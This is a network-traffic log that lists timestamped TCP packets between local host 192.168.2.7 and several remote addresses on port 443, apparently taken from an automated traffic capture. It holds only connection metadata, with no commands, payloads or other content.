Nov 22, 2024 01:03:00.952256918 CET	49816	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:00.952275038 CET	443	49816	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:00.952583075 CET	49816	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:00.952596903 CET	443	49816	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:00.985588074 CET	443	49814	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:00.985945940 CET	49814	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:00.986002922 CET	443	49814	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:00.986403942 CET	49814	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:00.986418009 CET	443	49814	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.138047934 CET	443	49817	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.138600111 CET	49817	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.138614893 CET	443	49817	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.138984919 CET	49817	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.138992071 CET	443	49817	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.229515076 CET	443	49818	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.229954958 CET	49818	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.229995966 CET	443	49818	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.230385065 CET	49818	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.230391026 CET	443	49818	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.390467882 CET	443	49815	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.393543005 CET	443	49815	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.393605947 CET	49815	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.393651009 CET	49815	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.393659115 CET	443	49815	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.393670082 CET	49815	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.393673897 CET	443	49815	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.396312952 CET	49823	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.396331072 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.396466017 CET	49823	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.396739006 CET	49823	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.396758080 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.397133112 CET	443	49816	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.400326967 CET	443	49816	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.400386095 CET	49816	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.400448084 CET	49816	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.400448084 CET	49816	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.400460005 CET	443	49816	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.400466919 CET	443	49816	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.402446985 CET	49824	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.402484894 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.402549028 CET	49824	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.402669907 CET	49824	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.402683020 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.439913034 CET	443	49814	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.443090916 CET	443	49814	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.443166018 CET	49814	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.443247080 CET	49814	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.443247080 CET	49814	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.443286896 CET	443	49814	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.443327904 CET	443	49814	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.445724964 CET	49825	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.445758104 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.446085930 CET	49825	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.446085930 CET	49825	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.446121931 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.581814051 CET	443	49817	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.584958076 CET	443	49817	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.585031033 CET	49817	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.586029053 CET	49817	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.586044073 CET	443	49817	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.586052895 CET	49817	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.586059093 CET	443	49817	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.588432074 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.588476896 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.588629007 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.588813066 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.588824987 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.672871113 CET	443	49818	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.675967932 CET	443	49818	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.676019907 CET	49818	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.676110029 CET	49818	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.676120043 CET	443	49818	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.676130056 CET	49818	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.676135063 CET	443	49818	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.682908058 CET	49827	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.682931900 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.683130026 CET	49827	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.683837891 CET	49827	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:01.683856010 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:01.901381016 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:01.901487112 CET	49822	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:01.956739902 CET	49822	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:01.956756115 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:01.957171917 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.012207031 CET	49822	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:02.017057896 CET	443	49821	142.250.181.68	192.168.2.7
Nov 22, 2024 01:03:02.017314911 CET	49821	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:03:02.017338037 CET	443	49821	142.250.181.68	192.168.2.7
Nov 22, 2024 01:03:02.018771887 CET	443	49821	142.250.181.68	192.168.2.7
Nov 22, 2024 01:03:02.018821955 CET	49821	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:03:02.021567106 CET	49821	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:03:02.021648884 CET	443	49821	142.250.181.68	192.168.2.7
Nov 22, 2024 01:03:02.059326887 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.073908091 CET	49821	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:03:02.073932886 CET	443	49821	142.250.181.68	192.168.2.7
Nov 22, 2024 01:03:02.118139029 CET	49821	443	192.168.2.7	142.250.181.68
Nov 22, 2024 01:03:02.410156012 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.410322905 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.410360098 CET	49822	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:02.410393953 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.410414934 CET	49822	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:02.410414934 CET	49822	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:02.410424948 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.410437107 CET	443	49822	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.488065004 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:02.488107920 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.488179922 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:02.489168882 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:02.489183903 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:02.768140078 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:02.768167973 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:02.768230915 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:02.768692017 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:02.768703938 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.100821972 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.100857973 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.100923061 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.101264954 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.101279974 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.122908115 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.123543978 CET	49823	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.123564005 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.124046087 CET	49823	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.124052048 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.171289921 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.171787977 CET	49825	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.171809912 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.172283888 CET	49825	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.172290087 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.182096004 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.182531118 CET	49824	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.182557106 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.182986021 CET	49824	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.182991982 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.437527895 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.438689947 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.438689947 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.438719034 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.438724995 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.463848114 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.464407921 CET	49827	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.464428902 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.464924097 CET	49827	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.464931011 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.601385117 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.604329109 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.604387999 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.604551077 CET	49823	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.604597092 CET	49823	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.604597092 CET	49823	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.604613066 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.604629040 CET	443	49823	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.607386112 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.607636929 CET	49825	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.607688904 CET	49825	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.607688904 CET	49825	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.607702017 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.607712984 CET	443	49825	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.608066082 CET	49834	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.608079910 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.608210087 CET	49834	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.608360052 CET	49834	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.608371019 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.610395908 CET	49835	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.610429049 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.610644102 CET	49835	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.610644102 CET	49835	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.610675097 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.625602007 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.625633955 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.625674963 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.625875950 CET	49824	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.625875950 CET	49824	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.625932932 CET	49824	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.625943899 CET	443	49824	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.628353119 CET	49836	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.628381968 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.628453970 CET	49836	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.628602028 CET	49836	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.628609896 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.888658047 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.891989946 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.892092943 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.892100096 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.892177105 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.892177105 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.892266989 CET	49826	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.892277002 CET	443	49826	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.896384001 CET	49837	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.896423101 CET	443	49837	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.897022009 CET	49837	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.897289038 CET	49837	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.897298098 CET	443	49837	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.907491922 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.910412073 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.911278009 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:03.911364079 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:03.911365986 CET	49827	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.924580097 CET	49827	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.924580097 CET	49827	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.924591064 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.924603939 CET	443	49827	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.937521935 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:03.937547922 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:03.937865019 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:03.945553064 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:03.947721004 CET	49838	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.947745085 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.948074102 CET	49838	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.948218107 CET	49838	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:03.948234081 CET	443	49838	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:03.987334967 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:04.560076952 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.560354948 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.560372114 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.561849117 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.561912060 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.563043118 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.563150883 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.563255072 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.563261032 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.615081072 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:04.615176916 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:04.615259886 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:04.616041899 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:04.616059065 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:04.616070032 CET	49828	443	192.168.2.7	23.218.208.109
Nov 22, 2024 01:03:04.616075039 CET	443	49828	23.218.208.109	192.168.2.7
Nov 22, 2024 01:03:04.620692968 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.952505112 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.956646919 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.956665039 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.958197117 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.958266020 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.959467888 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.959553003 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:04.959650993 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:04.959660053 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.006872892 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.046624899 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.046660900 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.046696901 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.046722889 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.046734095 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.046741962 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.046756983 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.046786070 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.046803951 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.046803951 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.046803951 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.046833038 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.228159904 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.228194952 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.228245020 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.228266001 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.228298903 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.228318930 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.275660992 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.275716066 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.275743008 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.275757074 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.275788069 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.275804043 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.348136902 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.349877119 CET	49836	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.349895000 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.350876093 CET	49836	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.350882053 CET	443	49836	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.394988060 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.395042896 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.395100117 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.395113945 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.395144939 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.395165920 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.397567034 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.399307013 CET	49835	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.399324894 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.399812937 CET	49835	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.399817944 CET	443	49835	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.431865931 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.431915998 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.431967974 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.431977987 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.432030916 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.449824095 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.449888945 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.449903965 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.449913025 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.449955940 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.449974060 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.450619936 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.450647116 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.450658083 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.450678110 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.450709105 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.450715065 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.450730085 CET	443	49833	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.450742960 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.450762987 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.450807095 CET	49833	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.463946104 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.464556932 CET	49834	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.464579105 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.465073109 CET	49834	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.465078115 CET	443	49834	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.469996929 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.470048904 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.470072031 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.470079899 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.470118046 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.470135927 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.581901073 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.581933975 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.581980944 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.581993103 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.582037926 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.597628117 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.597673893 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.597726107 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.597742081 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.597784996 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.597804070 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.611843109 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.611891985 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.611913919 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.611922026 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.611958981 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.611978054 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.621433020 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.621475935 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.621510983 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.621516943 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.621552944 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.621567965 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.632689953 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.632734060 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.632798910 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.632808924 CET	443	49832	13.107.246.63	192.168.2.7
Nov 22, 2024 01:03:05.632877111 CET	49832	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:03:05.632889986 CET	49832	443	192.168.2.7	13.107.246.63
